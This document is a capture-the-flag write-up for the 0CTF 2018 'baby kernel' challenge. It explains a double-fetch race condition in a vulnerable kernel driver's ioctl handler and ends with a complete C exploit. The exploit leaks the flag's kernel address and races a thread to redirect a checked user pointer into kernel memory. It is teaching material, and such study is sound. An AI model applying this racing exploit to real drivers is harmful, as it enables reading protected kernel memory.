Select Page

Yes, indeed. It is yet another “baby” challenge…


As its name suggests, this is a kernel PWN challenge. Only the vulnerable LKM and a QEMU startup script are provided, so the very first thing is to download a bzImage of the corresponding version, for our debugging purpose:

peilin@PWN:~/0ctf-finals-2018/baby_kernel$ strings baby.ko | grep vermagic=
vermagic=4.15.0-22-generic SMP mod_unload

The version is 4.15.0-22-generic.

peilin@PWN:~/0ctf-finals-2018/baby_kernel$ apt download linux-image-4.15.0-22-generic
Get:1 http://us.archive.ubuntu.com/ubuntu bionic-updates/main amd64 linux-image-4.15.0-22-generic amd64 4.15.0-22.24 [7875 kB]
Fetched 7875 kB in 43s (182 kB/s)
peilin@PWN:~/0ctf-finals-2018/baby_kernel$ ar x linux-image-4.15.0-22-generic_4.15.0-22.24_amd64.deb
peilin@PWN:~/0ctf-finals-2018/baby_kernel$ tar -xvf data.tar.xz
./
./boot/
./boot/vmlinuz-4.15.0-22-generic
./usr/
./usr/share/
./usr/share/doc/
./usr/share/doc/linux-image-4.15.0-22-generic/
./usr/share/doc/linux-image-4.15.0-22-generic/changelog.Debian.gz
./usr/share/doc/linux-image-4.15.0-22-generic/copyright
peilin@PWN:~/0ctf-finals-2018/baby_kernel$ cd boot
peilin@PWN:~/0ctf-finals-2018/baby_kernel/boot$ file vmlinuz-4.15.0-22-generic
vmlinuz-4.15.0-22-generic: Linux kernel x86 boot executable bzImage, version 4.15.0-22-generic (buildd@lgw01-amd64-013) #24-Ubuntu SMP Wed May 16 12:15:17 UTC 2018, RO-rootFS, swap_dev 0x7, Normal VGA

boot/vmlinuz-4.15.0-22-generic is the bzImage we want. Use extract-vmlinux to extract, well, vmlinux from it.


In short, this time we will be dealing with a kind of kernel space race condition vulnerability, known as Double-Fetch:

Figure 1: Principal Double Fetch Race Condition

The idea is rather simple. In the scenario shown above, a kernel routine fetches a piece of user data, performs some security checks on it, then fetches it again for the real use. Meanwhile, another user thread may maliciously update that piece of data in between the two fetches, effectively bypassing all the security checks.


Back to the challenge. We interact with the vulnerable driver via ioctl():

signed __int64 __fastcall baby_ioctl(__int64 a1, int a2)
{
  __int64 v2; // rdx
  signed __int64 result; // rax
  int i; // [rsp-5Ch] [rbp-5Ch]
  __int64 v5; // [rsp-58h] [rbp-58h]

  _fentry__();
  v5 = v2;
  if ( a2 == 26214 )
  {
    printk("Your flag is at %px! But I don't think you know it's content\n", flag);
    result = 0LL;
  }
  else if ( a2 == 4919
         && (unsigned __int8)_chk_range_not_ok(
                               v2,
                               16LL,
                               *(_QWORD *)(__readgsqword((unsigned __int64)&current_task) + 4952)) ^ 1
         && (unsigned __int8)_chk_range_not_ok(
                               *(_QWORD *)v5,
                               *(signed int *)(v5 + 8),
                               *(_QWORD *)(__readgsqword((unsigned __int64)&current_task) + 4952)) ^ 1
         && *(_DWORD *)(v5 + 8) == strlen(flag) )
  {
    for ( i = 0; i < strlen(flag); ++i )
    {
      if ( *(_BYTE *)(*(_QWORD *)v5 + i) != flag[i] )
        return 22LL;
    }
    printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag);
    result = 0LL;
  }
  else
  {
    result = 14LL;
  }
  return result;
}

The driver hard-codes a flag in its data segment:

.data:0000000000000480 flag            dq offset aFlagThisWillBe
.data:0000000000000480                                         ; DATA XREF: baby_ioctl+2A↑r
.data:0000000000000480                                         ; baby_ioctl+DB↑r ...
.data:0000000000000480                                         ; "flag{THIS_WILL_BE_YOUR_FLAG_1234}"

Of course, this is just a placeholder. However, by issuing a 0x6666 ioctl() call, we get the memory address of the real flag:


/ $ dmesg | tail -n 1
[ 3.550803] Your flag is at ffffffffc0346028! But I don’t think you know it’s content

Interesting. Additionally, by issuing a 0x1337 ioctl() call, we can “guess the flag”, by sending our guess in the following format:

struct guess_t {
    char *flag;
    long len;
} guess;

The driver first performs some sanity checks on our input:

         && !_chk_range_not_ok(v2, 16LL, *(_QWORD *)(__readgsqword((unsigned __int64)&current_task) + 4952))
         && !_chk_range_not_ok(
               *(_QWORD *)v5,
               *(signed int *)(v5 + 8),
               *(_QWORD *)(__readgsqword((unsigned __int64)&current_task) + 4952))
         && *(_DWORD *)(v5 + 8) == strlen(flag) )

_chk_range_not_ok() is defined as follows:

bool __fastcall _chk_range_not_ok(__int64 a1, __int64 a2, unsigned __int64 a3)
{
  unsigned __int8 v3; // cf
  unsigned __int64 v4; // rdi
  bool result; // al

  v3 = __CFADD__(a2, a1);
  v4 = a2 + a1;
  if ( v3 )
    result = 1;
  else
    result = a3 < v4;
  return result;
}

I can’t make any sense of that + 4952 argument by looking at the code. Let’s see in GDB:

$rdx   : 0x00007ffffffff000

$rsi   : 0x0000000000000010
$rdi   : 0x00000000006c1660

Basically, the driver checks that whether:

  • [&guess, &guess + 0x10) belongs to user space;
  • [guess.flag, guess.flag + guess.len) also belongs to user space;
  • guess.len equals to strlen(flag), in this case, 33.

The second restriction means that we can’t simply set guess.flag to the address of the real flag, since that would be way higher than 0x00007ffffffff000.

If our guess passes all three checks, the driver then compares guess.flag against the real flag byte by byte, and prints out the real flag only if they match (which sounds pretty weird).


Here’s the plan. We first point guess.flag to a valid user space address, so that it passes the security check on line 17~20. Then, in a different thread, we “maliciously update” guess.flag to make it point to the real flag (which is inside kernel space) before the driver reaches line 23. In this way, we make the driver compare the real flag against itself.


Make sure your QEMU startup script contains something like -smp 2, since our attack requires multiprocessing.

Here’s my exploit:

/* gcc exp.c -o exp -pthread -static */
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

#define BUFSZ 0x100

char buf[BUFSZ+1];
int finish;
char *addr;

struct guess_t {
    char *flag;
    long len;
} guess;

void *malicious(void *t) {
    struct guess_t *guess = t;
    while (finish == 0)
        guess->flag = addr;
}

int main(void) {
    int fd1 = open("/dev/baby", O_RDONLY);
    if (fd1 < 0) {
        fprintf(stderr, "failed to open %s: %d\n", "/proc/baby", fd1);
        exit(1);
    }

    ioctl(fd1, 0x6666);
    system("dmesg | tail > /tmp/addr");
    int fd2 = open("/tmp/addr", O_RDONLY);
    if (fd2 < 0) {
        fprintf(stderr, "failed to open %s: %d\n", "/tmp/addr", fd2);
        exit(1);
    }
    lseek(fd2, -BUFSZ, SEEK_END);
    read(fd2, buf, BUFSZ);
    close(fd2);
    char *r = strstr(buf, "Your flag is at ");
    if (r == NULL) {
        fprintf(stderr, "failed to get flag address!\n");
        exit(1);
    }
    r += strlen("Your flag is at ");
    addr = (char *) strtoull(r, NULL, 16);
    fprintf(stdout, "[+] flag address: %p\n", addr);

    guess.flag = buf;
    guess.len = strlen("flag{THIS_WILL_BE_YOUR_FLAG_1234}");

    pthread_t t;
    pthread_create(&t, NULL, malicious, &guess);

    for (;;) {
        if (ioctl(fd1, 0x1337, &guess) == 0)
            break;
        guess.flag = buf;
    }

    finish = 1;
    pthread_join(t, NULL);
    close(fd1);

    system("dmesg | tail -n 1");
    return 0;
}

References: